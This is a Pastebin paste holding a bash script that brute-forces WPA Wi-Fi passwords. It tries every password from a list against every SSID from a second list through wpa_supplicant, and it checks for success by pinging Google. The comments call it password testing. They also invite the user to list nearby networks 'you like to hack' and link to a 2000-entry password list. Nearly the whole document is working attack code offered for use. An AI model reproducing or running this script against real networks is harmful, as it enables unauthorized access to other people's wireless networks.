Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # This small script is intended for Wifi "often-used" passwords testing.
- # It takes passwords from $passfile and ssids from $ssidfile and tries
- # to connect to each ssid with each password for $sleeping seconds. If the
- # connection is established, it also pings google to know that conn is good.
- # It can use either NMCLI interface or WPA_SUPPLICANT interface.
- # REQUIRED SOFTWARE: wpa_supplicant, bash, echo, dhclient, killall, ping :)
- # REQUIRED FILES:
- # - pass.list with passwords (one pass per line, minimum 8 characters each)
- # - ssid.list with wifi ssid names (one wifi name per line, no spaces)
- # If you need, download my sample pass.list file with 2000+ passwords here:
- # http://pastebin.com/NUH0Sf4j
- # NOTE 0: Don't forget to check or change interface (wlan0 is default).
- # NOTE 1: I've got access to multiple wifi AP's working with WPA_SUPPLICANT.
- # NOTE 2: NMCLI currently untested and will NOT work as expected!
- # That's all for now. /// 09.05.2014 - Security XIII at Gmail Dot Com
- # Choose password file - please read headings of this file if you need one
- passfile="pass.list"
- # Choose ssid file - please add your own close wifi ssid names you like to hack, one per row
- ssidfile="ssid.list"
- # Choose interface to work with
- iface="wlan0"
- # Choose to work via nmcli or via wpa_supplicant
- work="viawpa"
- # Sleeping (wait for connecion) for how long (seconds)?
- sleeping=10
- ###############################################
- # Editing below this line is not recommended. #
- ###############################################
- # Function if working via NMCLI:
- vianmcli () { nmcli dev wifi con "$ssid" password "$pass"; }
- # Function if working via wpa_supplicant:
- viawpa () {
- sudo wpa_passphrase "$ssid" "$pass" > /etc/wpa_supplicant.conf
- sudo wpa_supplicant -Dwext -i"$iface" -c /etc/wpa_supplicant.conf&
- sleep $sleeping
- sudo dhclient -r "$iface"&
- sleep 2
- if [ "$(ping -c 1 google.com)" == "" ]; then
- echo "Sorry, Wifi password is incorrect or no internet connection established."
- sudo killall wpa_supplicant
- else
- echo "Successfully connected to $ssid wih $pass password. Gooping:"
- ping -c 4 google.com
- exit 0;
- fi
- }
- # For each password and each ssid, run the specified function ($work)
- for pass in $(cat "$passfile"); do
- for ssid in $(cat "$ssidfile"); do
- echo "Trying to connect to '$ssid' with pass '$pass'"
- $work
- echo "Pinging google DNS, press Ctrl+C to stop if failed"
- ping 8.8.8.8
- done
- done
Add Comment
Please, Sign In to add comment